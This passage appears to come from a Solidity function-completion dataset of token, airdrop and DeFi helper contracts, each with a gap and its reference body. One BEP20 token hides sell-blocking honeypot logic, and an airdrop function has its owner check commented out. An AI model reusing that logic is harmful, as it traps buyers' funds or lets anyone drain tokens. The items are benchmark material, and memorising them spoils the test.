// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "UNIG";
name = "UniswapGold";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x5bDFb7BFA113ee7Fd94Be26eb908A388B7988601] = _totalSupply;
Transfer(address(0), 0x5bDFb7BFA113ee7Fd94Be26eb908A388B7988601, _totalSupply);
| function UniswapGold() public | function UniswapGold() public |
28755 | GWSCirculatingSupplyContract | setNonCirculatingGWSAddresses | contract GWSCirculatingSupplyContract {
using SafeMath for uint;
bool public isInitialized;
address public GWS;
address public owner;
address[] public nonCirculatingGWSAddresses;
constructor( address _owner ) {
owner = _owner;
}
function initialize( address _gws ) external returns ( bool ) {
require( msg.sender == owner, "caller is not owner" );
require( isInitialized == false );
GWS = _gws;
isInitialized = true;
return true;
}
function GWSCirculatingSupply() external view returns ( uint ) {
uint _totalSupply = IERC20( GWS ).totalSupply();
uint _circulatingSupply = _totalSupply.sub( getNonCirculatingGWS() );
return _circulatingSupply;
}
function getNonCirculatingGWS() public view returns ( uint ) {
uint _nonCirculatingGWS;
for( uint i=0; i < nonCirculatingGWSAddresses.length; i = i.add( 1 ) ) {
_nonCirculatingGWS = _nonCirculatingGWS.add( IERC20( GWS ).balanceOf( nonCirculatingGWSAddresses[i] ) );
}
return _nonCirculatingGWS;
}
function setNonCirculatingGWSAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) {<FILL_FUNCTION_BODY> }
function transferOwnership( address _owner ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
owner = _owner;
return true;
}
} | contract GWSCirculatingSupplyContract {
using SafeMath for uint;
bool public isInitialized;
address public GWS;
address public owner;
address[] public nonCirculatingGWSAddresses;
constructor( address _owner ) {
owner = _owner;
}
function initialize( address _gws ) external returns ( bool ) {
require( msg.sender == owner, "caller is not owner" );
require( isInitialized == false );
GWS = _gws;
isInitialized = true;
return true;
}
function GWSCirculatingSupply() external view returns ( uint ) {
uint _totalSupply = IERC20( GWS ).totalSupply();
uint _circulatingSupply = _totalSupply.sub( getNonCirculatingGWS() );
return _circulatingSupply;
}
function getNonCirculatingGWS() public view returns ( uint ) {
uint _nonCirculatingGWS;
for( uint i=0; i < nonCirculatingGWSAddresses.length; i = i.add( 1 ) ) {
_nonCirculatingGWS = _nonCirculatingGWS.add( IERC20( GWS ).balanceOf( nonCirculatingGWSAddresses[i] ) );
}
return _nonCirculatingGWS;
}
<FILL_FUNCTION>
function transferOwnership( address _owner ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
owner = _owner;
return true;
}
} |
require( msg.sender == owner, "Sender is not owner" );
nonCirculatingGWSAddresses = _nonCirculatingAddresses;
return true;
| function setNonCirculatingGWSAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) | function setNonCirculatingGWSAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) |
43782 | SushiSwapBaseInfo | getInfo | contract SushiSwapBaseInfo is Ownable {
// Mainnet
//ISushiSwapPoolNames names = ISushiSwapPoolNames(0xb373a5def62A907696C0bBd22Dc512e2Fc8cfC7E);
//IMasterChef masterChef = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
// Ropsten
ISushiSwapPoolNames names = ISushiSwapPoolNames(0x7685f4c573cE27C94F6aF70B330C29b9c41B8290);
IMasterChef masterChef = IMasterChef(0xFF281cEF43111A83f09C656734Fa03E6375d432A);
function setContracts(address names_, address masterChef_) public onlyOwner {
names = ISushiSwapPoolNames(names_);
masterChef = IMasterChef(masterChef_);
}
function getInfo() public view returns(BaseInfo memory, PoolInfo[] memory) {<FILL_FUNCTION_BODY> }
} | contract SushiSwapBaseInfo is Ownable {
// Mainnet
//ISushiSwapPoolNames names = ISushiSwapPoolNames(0xb373a5def62A907696C0bBd22Dc512e2Fc8cfC7E);
//IMasterChef masterChef = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
// Ropsten
ISushiSwapPoolNames names = ISushiSwapPoolNames(0x7685f4c573cE27C94F6aF70B330C29b9c41B8290);
IMasterChef masterChef = IMasterChef(0xFF281cEF43111A83f09C656734Fa03E6375d432A);
function setContracts(address names_, address masterChef_) public onlyOwner {
names = ISushiSwapPoolNames(names_);
masterChef = IMasterChef(masterChef_);
}
<FILL_FUNCTION>
} |
BaseInfo memory info;
info.BONUS_MULTIPLIER = masterChef.BONUS_MULTIPLIER();
info.bonusEndBlock = masterChef.bonusEndBlock();
info.devaddr = masterChef.devaddr();
info.migrator = masterChef.migrator();
info.owner = masterChef.owner();
info.startBlock = masterChef.startBlock();
info.sushi = masterChef.sushi();
info.sushiPerBlock = masterChef.sushiPerBlock();
info.totalAllocPoint = masterChef.totalAllocPoint();
info.sushiTotalSupply = IERC20(info.sushi).totalSupply();
info.sushiOwner = IERC20(info.sushi).owner();
uint256 poolLength = masterChef.poolLength();
PoolInfo[] memory pools = new PoolInfo[](poolLength);
for (uint256 i = 0; i < poolLength; i++) {
(address lpToken, uint256 allocPoint, uint256 lastRewardBlock, uint256 accSushiPerShare) = masterChef.poolInfo(i);
IPair uniV2 = IPair(lpToken);
pools[i].lpToken = uniV2;
pools[i].allocPoint = allocPoint;
pools[i].lastRewardBlock = lastRewardBlock;
pools[i].accSushiPerShare = accSushiPerShare;
IERC20 token0 = IERC20(uniV2.token0());
pools[i].token0 = token0;
IERC20 token1 = IERC20(uniV2.token1());
pools[i].token1 = token1;
pools[i].token0name = token0.name();
pools[i].token0symbol = token0.symbol();
pools[i].token0decimals = token0.decimals();
pools[i].token1name = token1.name();
pools[i].token1symbol = token1.symbol();
pools[i].token1decimals = token1.decimals();
pools[i].logo = names.logos(i);
pools[i].name = names.names(i);
}
return (info, pools);
| function getInfo() public view returns(BaseInfo memory, PoolInfo[] memory) | function getInfo() public view returns(BaseInfo memory, PoolInfo[] memory) |
4241 | owned | owned | contract owned {
address public owner;
uint8 public n=0;
function owned(){<FILL_FUNCTION_BODY> }
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
} | contract owned {
address public owner;
uint8 public n=0;
<FILL_FUNCTION>
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
} |
if(n==0){
owner = msg.sender;
n=n+1;
}
| function owned() | function owned() |
56478 | Bitcoinpremier | transferFrom | contract Bitcoinpremier is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bitcoinpremier() public {
symbol = "BCP";
name = "Bitcoinpremier";
decimals = 18;
_totalSupply = 35000000000000000000000000000;
balances[0xE4b0F089fcEBA22dA87470e1Bb7BB0bb977BaDfa] = _totalSupply;
Transfer(address(0), 0xE4b0F089fcEBA22dA87470e1Bb7BB0bb977BaDfa, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract Bitcoinpremier is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bitcoinpremier() public {
symbol = "BCP";
name = "Bitcoinpremier";
decimals = 18;
_totalSupply = 35000000000000000000000000000;
balances[0xE4b0F089fcEBA22dA87470e1Bb7BB0bb977BaDfa] = _totalSupply;
Transfer(address(0), 0xE4b0F089fcEBA22dA87470e1Bb7BB0bb977BaDfa, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
5094 | Denshacoin | authenticate | contract Denshacoin is Ownable {
using SafeMath for uint256;
string public name = "Denshacoin"; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol = "DC"; //An identifier: e.g. REP
uint public totalSupply;
address public raindropAddress = 0x0;
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a SujiToken
function Denshacoin() public {
totalSupply = 5000000000 * 10**18;
// Give the creator all initial tokens
balances[msg.sender] = totalSupply;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
/// @return The balance of `_owner`
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupply;
}
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {<FILL_FUNCTION_BODY> }
function setBalances(address[] _addressList, uint[] _amounts) public onlyOwner {
require(_addressList.length == _amounts.length);
for (uint i = 0; i < _addressList.length; i++) {
require(balances[_addressList[i]] == 0);
transfer(_addressList[i], _amounts[i]);
}
}
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event Burn(
address indexed _burner,
uint256 _amount
);
} | contract Denshacoin is Ownable {
using SafeMath for uint256;
string public name = "Denshacoin"; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol = "DC"; //An identifier: e.g. REP
uint public totalSupply;
address public raindropAddress = 0x0;
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a SujiToken
function Denshacoin() public {
totalSupply = 5000000000 * 10**18;
// Give the creator all initial tokens
balances[msg.sender] = totalSupply;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
/// @return The balance of `_owner`
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupply;
}
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
<FILL_FUNCTION>
function setBalances(address[] _addressList, uint[] _amounts) public onlyOwner {
require(_addressList.length == _amounts.length);
for (uint i = 0; i < _addressList.length; i++) {
require(balances[_addressList[i]] == 0);
transfer(_addressList[i], _amounts[i]);
}
}
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event Burn(
address indexed _burner,
uint256 _amount
);
} |
Raindrop raindrop = Raindrop(raindropAddress);
raindrop.authenticate(msg.sender, _value, _challenge, _partnerId);
doTransfer(msg.sender, owner, _value);
| function authenticate(uint _value, uint _challenge, uint _partnerId) public | function authenticate(uint _value, uint _challenge, uint _partnerId) public |
42872 | TokenBEP20 | null | contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {<FILL_FUNCTION_BODY> }
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
} | contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
} |
symbol = "INNV";
name = "INNV | t.me/InnvoToken";
decimals = 9;
_totalSupply = 10000000000000 * 10**9;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| constructor() public | /**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public |
46911 | UniversalToken | UniversalToken | contract UniversalToken is Token {
uint public xactionFeeNumerator;
uint public xactionFeeShare;
function UniversalToken(
uint initialSupply,
uint feeMult,
uint feeShare ) public
condition(initialSupply > 1000)
condition(feeMult > 0)
{<FILL_FUNCTION_BODY> }
function modifyTransFee(uint _xactionFeeMult) public
auth
condition(_xactionFeeMult >= 0)
condition(DENOMINATOR > 4 * _xactionFeeMult)
{
xactionFeeNumerator = _xactionFeeMult;
}
function modifyFeeShare(uint _share) public
auth
condition(_share >= 0)
condition(DENOMINATOR > 3 * _share)
{
xactionFeeShare = _share;
}
} | contract UniversalToken is Token {
uint public xactionFeeNumerator;
uint public xactionFeeShare;
<FILL_FUNCTION>
function modifyTransFee(uint _xactionFeeMult) public
auth
condition(_xactionFeeMult >= 0)
condition(DENOMINATOR > 4 * _xactionFeeMult)
{
xactionFeeNumerator = _xactionFeeMult;
}
function modifyFeeShare(uint _share) public
auth
condition(_share >= 0)
condition(DENOMINATOR > 3 * _share)
{
xactionFeeShare = _share;
}
} |
symbol = "PMT";
name = "Universal Evangelist Token - by Pure Money Tech";
decimals = DECIMALS;
_supply = mul(initialSupply, WAD);
owner = msg.sender;
xactionFeeNumerator = feeMult;
xactionFeeShare = feeShare;
_balances[owner] = _supply;
| function UniversalToken(
uint initialSupply,
uint feeMult,
uint feeShare ) public
condition(initialSupply > 1000)
condition(feeMult > 0)
| function UniversalToken(
uint initialSupply,
uint feeMult,
uint feeShare ) public
condition(initialSupply > 1000)
condition(feeMult > 0)
|
35660 | Airdrop | sendTokens | contract Airdrop {
address public owner;
bool public isTheContract = true;
constructor() public {
owner = msg.sender;
}
function sendTokens(address[] addresses, uint256[] _amount, address _tokenAddress) public {<FILL_FUNCTION_BODY> }
function destroyMe() public {
require(msg.sender == owner);
selfdestruct(owner);
}
} | contract Airdrop {
address public owner;
bool public isTheContract = true;
constructor() public {
owner = msg.sender;
}
<FILL_FUNCTION>
function destroyMe() public {
require(msg.sender == owner);
selfdestruct(owner);
}
} |
//require(msg.sender == owner);
uint256 addressCount = addresses.length;
uint256 amountCount = _amount.length;
require(addressCount == amountCount);
TokenContract tkn = TokenContract(_tokenAddress);
for (uint256 i = 0; i < addressCount; i++) {
tkn.transfer(addresses[i], _amount[i]);
}
| function sendTokens(address[] addresses, uint256[] _amount, address _tokenAddress) public | function sendTokens(address[] addresses, uint256[] _amount, address _tokenAddress) public |
51616 | EVOLUTION2 | sell | contract EVOLUTION2 {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrator can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
require(msg.sender == investor);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event OnRedistribution ( //--4
uint256 amount,
uint256 timestamp
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "EVO2"; //Silentflame changed the token
string public symbol = "EVO2"; //Silentflame changed the token
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 5 tokens)
uint256 public stakingRequirement = 5e18;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) internal whitelisted_; // fvrr3
bool internal whitelist_ = true; // fvrr3 whitelist is automatically activated
address public investor;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
investor = 0x8e97F9338460B0d33BD6452A558Ae43284805B5C; //Silentflame Goes to the new wallet as requested
whitelisted_[0x8e97F9338460B0d33BD6452A558Ae43284805B5C] = true; //Silentflame changed the admin lock to the new wallet as requested
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
